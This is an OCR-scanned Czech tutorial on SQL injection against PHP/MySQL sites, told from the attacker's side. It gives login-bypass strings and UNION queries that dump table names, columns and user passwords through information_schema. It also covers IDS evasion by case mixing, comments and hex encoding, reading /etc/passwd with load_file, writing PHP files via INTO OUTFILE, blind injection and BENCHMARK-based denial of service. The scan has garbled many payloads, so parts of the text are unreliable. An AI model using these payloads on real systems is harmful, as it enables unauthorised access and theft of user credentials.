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oNOULITA WN -

SQL Injection je bezpecnostni chyba zalozend na moznosti manipulovat s daty v databézi bez
nutnosti mit k nim legitimni pristup. Na prvni pohled by se mohlo zdét, Ze tato chyba je problémem
webovych technologii. Opak je pravdou. SQL Injection je problémem vSech aplikaci pracujicich s
databazi. Zneuziti mlze vést k ziskani citlivych Gdajd, jakymi jsou prihlasovaci Gdaje, osobni Gdaje
(rodna ¢isla, ¢isla bankovnich Uctu..) a v nékterych pripadech mize vést k vykonani systémového
prikazu, pfipadné k ovladnuti celého serveru/pocitace. Principem je vklddani novych/rozsifujicich SQL
dotazl do jiz existujicich SQL dotazd.

2. Historie a letmy popis SQL

SQL je zkratka pro Structured Query Language, tedy strukturovany dotazovaci jazyk vyuzivany v
rela¢nich databdzich pro praci s daty. Prvni myslenka nédvrhu a vzniku SQL spatfila svétlo svéta v
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laboratorich firmy IBM pri vyzkumu a navrhu rela¢nich databézi. Cilem bylo vytvorit jazyk co nejvice
blizky bézné mluvené anglic¢ting, coz se nakonec viceméné podarilo. V dnesni dobé existuje cela rada
databdzovych mutaci jazyka SQL - MySQL, MSSQL, Postgre, Oracle, SQLite, MSQL atd.

3. Potrebné vybaveni

Protoze se chystdme pracovat s databazovym systémem, bylo by nanejvys vhodné nainstalovat si ho
k sobé na pocitac, pripadné vyuzit sluzeb nékterého z freehostingli. Pokud zvolite druhou moznost,
na konec pripojuji testovaci skript pfipraveny pouze a jen pro pouziti.

Server s podporou PHP, protoze vétSina véci bude prezentovédna pravé na kombinaci PHP - MySQL.
Tyto pozadavky plné pokryva napfriklad EasyPHP, jakozto idedIni "server" pro zacatecniky.

4. Nez zacheme

Pokud jste v nékterém jiném clanku vidéli véci jako napriklad update zdznam v tabulce, pripadné
smazani/dropnuti celé databaze, pak Vas musim zklamat. MySQL neumoziuje (z bezpecnostnich
dlvodl) kombinovat rozdilné typy dotazl: pokud primarni dotaz obsahuje SELECT, pak mUzete
pouzit zase jen SELECT (zddny DROP, UPDATE, INSERT atd). Druhou bezpecnostni pojistku v rukach
tfima samotné PHP (pokud budeme mluvit jen a zdsadné o ném). To neumoziuje zpracovat najednou
vice nez jeden jediny dotaz. TakZze:

SELECT * FROM tabulka; SELECT * FROM admin;
opravdu fungovat nebude (v pripadé ASP je situace jind).

5. Situace prvni - prihlasovaci formular

Dosti bylo teorie, nakouknéme pod pokli¢cku. VSude, kam se na internetu podivame, jsou néjaké
prihlasovaci formulare. User Accounty, Admin Menu, nejrliznéjsi formulare k soutéznim actdm.
VSechny tyto formuléfe spojuje jedna véc (pokud nebudeme uvazovat extrémni pfipady pouziti hesla
v PHP kédu nebo v néjakém externim souboru s koncovkou txt a jemu podobnych) a tou je pravé
skuteénost, Ze vyuzivaji databazi k archivaci nejrliznéjsich informaci, véetné vyse zminovanych
prihlasovacich Gdajd. Klasicky MySQL dotaz v kombinaci s PHP ovérujici, zda je dany uZivatel
pritomny v databazi, a tudiz legitimni, by mohl vypadat asi takhle:

SELECT * FROM users WHERE login="'$nick' AND password="'$passwd'

V tomto pripadé se jedna o vibec nejhorsi mozné reseni, protoze heslo neni nijak Sifrovano a data
jsou ulozena v cCisté textové podobé (plain text) v databazi. Co se stane, kdyz se pokusime do
kolonky pro nick vlozit znak ' (apostrof)? Pri vyhodnocovani dotazu dojde k chybé. Ptate se proc?
Dlvod je na pohled zfejmy. Dotaz bude totiZ vypadat nasledovné:

SELECT * FROM users WHERE login="" AND password="

Tri apostrofy napovidaji, Ze se nékde stala chyba a jeden apostrof ndm nékde chybi (nebo spise
naopak prebyva). No nevadi. My nyni vyuzijeme sily komentard (v MySQL mame na vybér hned ze tfi
moznych).

Dotaz bude vypadat nésledovné:

SELECT * FROM users WHERE login="--' AND password=""

Dotaz bude vykonan spravné ale my pfihlaseni nebudeme. Pro¢? Tim, Ze vlozime do dotazu
jednoradkovy komentdr bude zbytek dotazu vypustén a bude tedy vypadat nasledovné:

SELECT * FROM users WHERE login=""--
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Tak to uz vypadé lépe. Nyni chceme vybrat z tabulky jen data, kterd maiji login stejny s tim nasim.
Jenze ten nas je prazdny retézec. Takze si najdeme (nebo uhodneme) legitimni login a pouzijeme ho
v dotazu:

SELECT * FROM users WHERE login='admin'--
Et voila! Jsme zalogovani pod administratorskym Gctem :)

Co se ale stane, pokud nebudeme schopni dopidit se k néjakému kvorektm’mu loginu? Co trfeba
vyzkousSet logické operdtory AND (logické a) a OR (logické nebo)? Reknéme,Ze login admin
neexistuje, ale my ho klidné Uspésné pouzijeme v kombinaci s logickym operatorem:

SELECT * FROM users WHERE login='admin' OR --

Davod, proc¢ se prihlaseni zdafi je Gzce spjat pravé s logickym operatorem OR, ktery rika, ze dvé
hodnoty, jez jsou nulové maji vysledek logickd nula, jinak je to vzdy logicka 1. Jinymi slovy: admin'
OR 1=1-- bude vzdy vyhodnoceno jako logicka 1 a tudiz budeme prihlaseni. Ba co vic: budeme
prihldSeni na prvni Ucet v tabulce, ktery byva vétsSinou administratorsky nebo testovaci s admin
pravy :) Co dokdaze par znak( za divy :D BypassU existuje cela rada:

OorR .

" or 1=1--
OR "a"="a

) or ("a'='a
or ‘a'='a

6. Situace druha - SQL Injection s vyuzitim UNIONu

Ono je sice hezké, ze jsme zalogovani jako administrator, ale bylo by hez¢i moci si stdhnout vSechna
zajimava data v databdzi/databazich. Alespon tak jisté reaguje vétsina Gto¢nikd. Proto si nyni
ukdzeme, jak dale postupovat v pripadé, ze chceme ¢ist data z databdze. Méjme stranku, ktera
zpracovava pozadavky na ¢lanky a mé URL ve tvaru:

article.php?id

kde id=15 znamena, ze pozadujeme patnacty ¢lanek v tabulce s ¢lanky. Dotaz by pak mohl vypadat
napriklad takhle:

SELECT * FROM articles WHERE id="5$id'

Pokud se i nadale budeme drzet myslenky pouZiti logickych operatord, pak jiz vime, jak zjistit, zda je
dana stranka na SQL Injection nachylna:

article.php?id AND

Pokud se strdnka zobrazi s nezménénym obsahem mame nakroceno k Uspéchu. Pokud totiz
pouzijeme:

article.php?id AND

a obdrzime chybovou hldsku, pripadné bude obsah chybét UplIné, je s nejvyssi pravdépodobnosti
strdnka na SQL Injection skute¢né nachylnd (vyuzit mGzeme i napriklad sluzeb déleni nulou, které by
mélo vést k chybé, nebo napriklad s¢itdni a podobné; zde zdlezi na kreativité Utocnika).

Nyni, kdyz mame jistotu, Ze je stranka nachylna na SQL Injection, vyuzijeme klauzuli ORDER BY
(udava podle jakého klice/sloupce se maji zaznamy seradit) s jejiz pomoci zjistime pocet sloupcl v
aktudlni tabulce (v nasem pripadé v tabulce articles).
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article.php?id ORDER BY

Pokud nyni dostaneme jako vysledek stranku v nezménéném stavu, pak ma dana tabulka urcité
jeden sloupec (k ¢emu by ndm byla tabulka bez sloupct ze? ;) ) Zkusime, zda ma tabulka urcité dva
sloupce:

article.php?id ORDER BY

a opét plati, co vyse: strdnka v nezménéném stavu znamena, Zze ma tabulka urcité dva sloupce, v
opacném pripadé ma praveé jeden sloupec. Nase tabulka bude mit tfeba 8 sloupct, pak:

| NDEX. php?i d ORDER BY --> bez probl énu
| NDEX. php?id ORDER BY --> bez probl énu
| NDEX. php?i d CRDER BY --> CHYBAI'! sloupc? je o 1 nén?

Nyni, kdyZz zndme pocet sloupcl, pouzijeme prikazu UNION, ktery slouzi pro spojovani vice dotazu do
jednoho celistvého.

INDEX.php?id UNION ALL SELECT

Pokud je vSe tak, jak ma, pak bysme méli vidét misto ¢lanku nékteré z &isel v rozsahu 1 az 8 (v
nasem pripadé). Najdeme si toto Cislo v posloupnosti a budeme ho pouzivat jako prostiedek pro
zobrazeni vysledku dotazu. SQL poskytuje celou rfadu uzite¢nych funkci. Nékteré z nich si ukdzeme:
database() - vraci nazev aktudlné pouzivané databaze

user() - vraci uzivatele, ktery je vlastnikem databaze

version() - vraci verzi databdaze

now() - vraci aktualni informace o Case

Prozatim si vystacime s témito funkcemi a prlibézné si budeme predstavovat dalsi. Nyni za vyse
zjisténé cislo doplnime nékterou z téchto funkci a prohlédneme si vysledek. Napfriklad:

INDEX.php?id UNION ALL SELECT version

Nékdy by se hodilo mit moznost zobrazit si vice takovych funkci v jednom sloupecku v jednom
dotazu. K tomu se d& vyuzit funkce concat(), kterd pravé spojuje vice vysledkd do jednoho:

INDEX.php?id UNION ALL SELECT concat(version(),user(),DATABASE(), now

Dostali jsme jako vysledek jednolity fetézec, u kterého neni patrné, kde jednotlivé ¢asti zacinaji a
konci. Proto pouzijeme funkci char(), ktera prebira jako argument ASCIlI hodnotu znaku, ktery chceme
zobrazit:

id UNION ALL SELECT concat(version(),char user(),char
DATABASE(),char now

char(58,58) bude prelozeno jako :: a jasné ohranici, kde kon¢i a kde zacind hranice mezi jednotlivymi
vysledky.

vvvvv

INDEX.php?id UNION ALL SELECT
concat_ws(char version(),user(), DATABASE(),now

Klicovym v pripadé funkce verion() je, zda se jednd o verzi nizsi nez 5 nebo rovnu a vyssSi nez 5. V
pripadé, ze se jedna o verzi nizsi nez pét budeme nuceni jednotlivé tabulky a sloupce v nich hadat
nebo je ziskdvat pomoci bruteforce techniky, coz je zdlouhavé a v lozich napadné.

7. Databaze information_schema
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Ve verzi 5 a vyssi je defaultné obsaZzena a povolena databaze information_schema. Tato tabulka se
tajné stava utocnikovym spojencem a pomocnikem nejcennéjsim. Obsahuje celou fadu zajimavych
tabulek jako tables, columns, user_privileges nebo schemata. My se nyni podivame, jak se dostat k
nazvlm tabulek v napadené databazi.

INDEX.php?id=-15 UNION ALL SELECT 1,2,3,4,5,6,7,8 FROM information_schema.TABLES

Pokud se ndm zobrazi strdnka v nezménéné podobé&, budeme moci s touto tabulkou operovat. N&s
stédvaijici dotaz rozsifime na oblast databdze webové aplikace, kterd je nachylna:

INDEX.php?id=-15 UNION ALL SELECT 1,2,3,4,5,6,7,8 FROM information_schema. TABLES
WHERE table_schema=DATABASE

Nyni mame zajisténo, ze budeme pracovat pouze a jen s "nasi" databazi. VypiSeme si prvni nazev
tabulky v databazi:

INDEX.php?id=-15 UNION ALL SELECT 1,2,3 table_name,5,6,7,8 FROM
information_schema. TABLES WHERE table_schema=DATABASE() --> 1. tabulka v databazi

K druhému nazvu tabulky se dostaneme tak, Ze si vypiseme vSechny tabulky kromé prvni, nebo-li:

INDEX.php?id=-15 UNION ALL SELECT 1,2, 3 table_name,5,6,7,8 FROM
information_schema . TABLES WHERE table_ schema=DATABASE() AND table_name !
'nazev_prvni_tabulky' --> 2. tabulka v databazi

Pro treti tabulku je situace analogicka:

INDEX.php?id=-15 UNION ALL SELECT 1,2,3 table_name,5,6,7,8 FROM
information_schema TABLES WHERE table_schema=DATABASE() AND table_name !
'nazev_prvni_tabulky' AND table_name != 'nazev_druhe_tabulky' --> 2. tabulka v databazi

Ovsem tento zpUsob je ponékud neohrabany a vede k pfilis obrovskym dotazlm. Ty se stavaiji
neprehledné a nachylné na chyby a preklepy. A protoze umime pouzivat hlavu, budeme resit
problém od lesa a pouzijeme klauzuli LIMIT :)

INDEX php?id=-15 UNION ALL SELECT 1,2 3 table_name,5,6,7,8 FROM
information_schema. TABLES WHERE table_schema=DATABASE() LIMIT 1,1 --> 1. tabulka v
databazi

INDEX.php?id=-15 UNION ALL SELECT 1,2,3 table_name,5,6,7,8 FROM
information_schema TABLES WHERE table_schema=DATABASE() LIMIT 1,2 --> 2. tabulka v
databazi

To uz vypadda, myslim si, mnohem lépe :) Ale co si to jesté vice zjednodusit? ;) MySQL obsahuje jednu
pro tyto Ucely velice uzite¢nou funkci. A to group_concat(). Diky této funkci budeme mit seznam
vSech tabulek prakticky diky jedinému dotazu (POZOR! setkal jsem se s tim, ze ma& funkce
group_concat() omezenou délku vystupniho fetézce a proto nemusime dostat nutné cely seznam
tabulek!)

INDEX.php?id=-15 UNION ALL SELECT 1,2,3,group_concat(table_ name),5,6,7,8 FROM
information_schema . TABLES WHERE table_schema=DATABASE

Nyni si ze seznamu tabulek vybereme ty, které jsou pro nas néjak zajimavé. Dejme tomu, Ze jsme
nasli tabulku s ndzvem users, kterd pravdépodobné obsahuje seznam vSech registrovanych
uzivateld. Pro zjisténi vdech nazv{ sloupcl opét mizeme pouzit identické postupy jako v pripadé
seznamu tabulek (hddani/bruteforce, vyuziti vylucovaci techniky, klauzule LIMIT nebo funkce
group_concat()). Jediné, co se zméni je skutecnost, ze se budeme dotazovat na information_schema
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tabulku s ndzvem columns. Ta obsahuje column_name, jez uchovava nazvy sloupct tabulky.

INDEX.php?id UNION ALL SELECT group_concat(column_name FROM
information_schema.COLUMNS WHERE table_name='users'

Puf!! A médme seznam vsech sloupcl. Z nich si nyni mlzeme vybrat jen ty zajimavé - reknéme: nick,
passwd, mail, priv a opét si je vypiSeme analogicky jako vySe:

INDEX.php?id UNION ALL SELECT
group_concat(nick,char passwd,char mail,char priv FROM users

8. Kdyz se vyvojar snazi

Pravé jsme se Uspésné dostali k uzivatelskym Gc¢tlm :) Ale ne vzdy je situace tak rlizova jako tady.
Stale vétsi pocet webovych aplikaci vyuziva skripty/systémy IDS (Intrusion Detection Systems).
Paradoxem je, Ze tyto jsou vétSinou navrzeny dost odflaknutym zpUlsobem. Spoléhaji se na detekci
apostrofl, mezer, konkrétnich retézc (UNION, SELECT).

8.1 Problém s apostrofy

Problém detekce apostrofdl mdze byt zplsoben bud nastavenim serveru (magic_quotes_gpc) nebo
pritomnosti IDS. MySQL ma tu krasnou vlastnost (jako asi vSechny databdze), ze obsahuje funkci
char(), kterd bere jako argumenty decimalni ASCIl hodnoty znak( oddelenych ¢arkami, takze
apostrof neni potreba. Stejna situace je i v pripadé hexadecimalnich ASCII hodnot znakd. Tyto jsou
uvozeny pomoci znakl 0x a samotnymi hodnotami, které jsou razeny primo (bez mezer) za sebe.
‘'user’ char 0x75736572

Navic samotné MySQL obsahuje funkce, jez je mozné k Sifrovani vyuzit. Napriklad:

unhex(hex(user

8.2 Problém s mezerami

Detekce mezer je, z mého pohledu, Ucinna spiSe jen na nO_oby a lamy. Zbytek totiz vi, Ze mezery je
mozné nahradit pomoci znaku +, ktery slouzi pro spojovani vyrazl, pfipadné pomoci vicefddkového
komentare. Opét zapezi predevsim na zkusenostech a kreativité Utocnika:

UNI ON+SELECT+ALL
UNI ON **/ SELECT/ **/ ALL/ **/

8.3 Problém detekce Fetézcu

Velké mnozstvi IDS skriptll je postaveno na detekci retézct jako jsou UNION nebo SELECT.
Problémem ale je, ze berou v potaz bud pouze malé znaky, nebo naopak jen velké, ty chytrejsi pak
malé i velké. Ale co retézce slozené z kombinaci velkych a malych znakd?

uSeR
UsEr
UseR
USer
useR
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9. Cteme soubory...

Dalsi zajimavou tabulkou je mysql.user, ze které se Gto¢nik mUze docist, jakd ma prava pro ¢teni
nebo zapis soubord. Ve vétsiné pripadd nebude mit Gto¢nik prava pro pristup do této tabulky, coz
ovSsem neznamena, ze by se sam nemohl pokusit soubory precist. K tomu slouzi funkce load_file() a
jeji pouziti je snadné:

INDEX.php?id UNION ALL SELECT load_file('/etc/passwd' --> pokusi se nacist
soubor /etc/passwd

V nékterych situacich je mozné s pomoci fce load_file() nacist i obsah adreséare (pro rejpaly - nemél
jsem moznost vlastnoru¢né vyzkousSet, ale byl jsem svédkem toho, Ze to skute¢né funguje).

10. ...a zapisujeme

Kdyz uz si nejaky soubor precteme, bylo by vhodné mit moznost i néjak soubory vytvaret. K tomu
slouzi klauzule INTO OUTFILE pripadné INTO DUMPFILE. Bohuzel jsme omezeni pravy na dany
adresar, kam se pokousSime zapisovat. NejCastéji je proto zvykem hledat adresare, kde jsou ulozeny
obrazky (img, images..), pfipadné se pouzivd /tmp adresar, ktery by mél byt témér vzdy pristupny
(pouzivé se pri kombinovanych technikach utoku).

| NDEX. php?i d UNI ON ALL SELECT ' <?php phpinfo(); ?> I NTO QUTFI LE
"/tnp/ newfile. php'--
--> do souboru newfile.php se vlozi dany PHP kod

Paradoxem je, Ze a¢ se mlzeme ve vSech predeslych pripadech vyhnout pouziti apostroft diky
konverzi nebo pouziti funkci, zde to neplati. Z nezndmého (mozna bezpecnostniho? ;) ) dlivodu neni
mozné absolutni adresu souboru konvertovat/vyuzit funkci.

11. Blind SQL Injection

Tento typ SQL Injection je spiS takovy gurmansky :) Je mozné ho provadét ru¢né, to je ale zna¢né
namahavé. Jde totiz o skutecnost, ze cely Utok probihd na Urovni detekce spravnosti nebo naopak
Spatnosti dotazu. Protoze nema Utocnik visudlni kontrolu nad tim, jak Utok probihd, zvysuje se
zakonité pocet pozadavk{ na server. Pokud vezmeme v potaz, Ze kazdé SQL spojeni mlze byt
"drzeno" az po dobu jedné hodiny, je jednoduché dojit k zavéru, ze zabrat vSechna mozna spojeni je
velice jednoduchd zaleZitost. Existuje sice moznost minimalizovat pocet pozadavk{ vedoucich k cili
pomoci algoritmu ptleni intervald, ale i tak se jedna o vysoka cisla.

Samotny pribéh Gtoku se tedy zaméruje na jednotlivé znaky. Jednoducha detekce verze MySQL by
napriklad mohla vypadat nésledovné:

AND ascii(substring((SELECT version

7 vs

Funkce ascii vraci ¢iselnou hodnotu znaku, ktery je v retézci nejvic vlevo. Funkce substring vraci
pocet znakl od zadané pozice v zadaném retézci.

Podobnym postupem se pokracuje i v pripadé zjistovani nazvl tabulek, sloupcll, a nakonec i u
zdznamU v tabulkach. Cely postup Ize samozrejmé vyladit za pouziti podminek a dalsich funkci, tak
Ze je potencidlni itok mnohem hire detekovatelny.

12. A co systémové prikazy?

MySQL defaultné nepodporuje spousténi systémovych prikazd. Ovsem existuje bali¢ek umoznujici
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systémové prikazy spoustét (
http://bernardodamele.blogspot.com/2009/01/command-execution-with-mysqgl-udf.html [6] ), a proto
je celkem mozné, ze drive nebo pozdéji na podobné vychytavky zacneme narazet i na serverech.

13. "Nepristfelnost" mod_rewrite

Nékolikrat jsem se setkal s tvrzenim, Ze pokud funguje webova aplikace pod mod_rewrite, pak
nehrozi Zddné nebezpedi ze strany pfipadného SQL Injection Utoku. Opak je ale pravdou. Mod_rewrite
do jisté miry déla situaci tezsi kvali zjisténi, co je parametrem a jak ho pouzit, ale tim to kondi.
Samotny pribéh Gtoku se pak jiz nijak nelisi od bézné SQL Injection.

14. Denial of Service

Jak jsem zminil jiz vySe, MySQL ma tu vlastnost, ze si drzi pozadavky na pfistup do databaze az po
dobu jedné hodiny. Toho Ize samozfejmé celkem efektivné vyuzit a jednoduchym skriptem, ktery
zasle velké mnozstvi pozadavkd, server bud vytizit nebo vypotrebovat pocet moznych SQL pripojeni
pro server. K tomu Ize vyuzit napfiklad funkci BENCHMARK(). Tato funkce vykonava dany vyraz
opakované po dany ¢as:

BENCHMARK MD5

15. Zavér

SQL Injection umoznuje nejriznéjsi a nejzajimavéjsi véci. Namatkou mUzu jmenovat napriklad vyuZiti
pro scanovani portl, nebo kombinovani s XSS (tzv. SIXSS), jenz v budoucnu jisté budou hojné
vyuzivat phishefi. VSe zavisi jen a pouze na kreativité Gto¢nikl. Rozhodné se jednd o velmi kritickou
chybu, jez mUze mit globalni dopad na bezpecnost celého serveru, a proto neni zdhodno tuto chybu
podcenovat.
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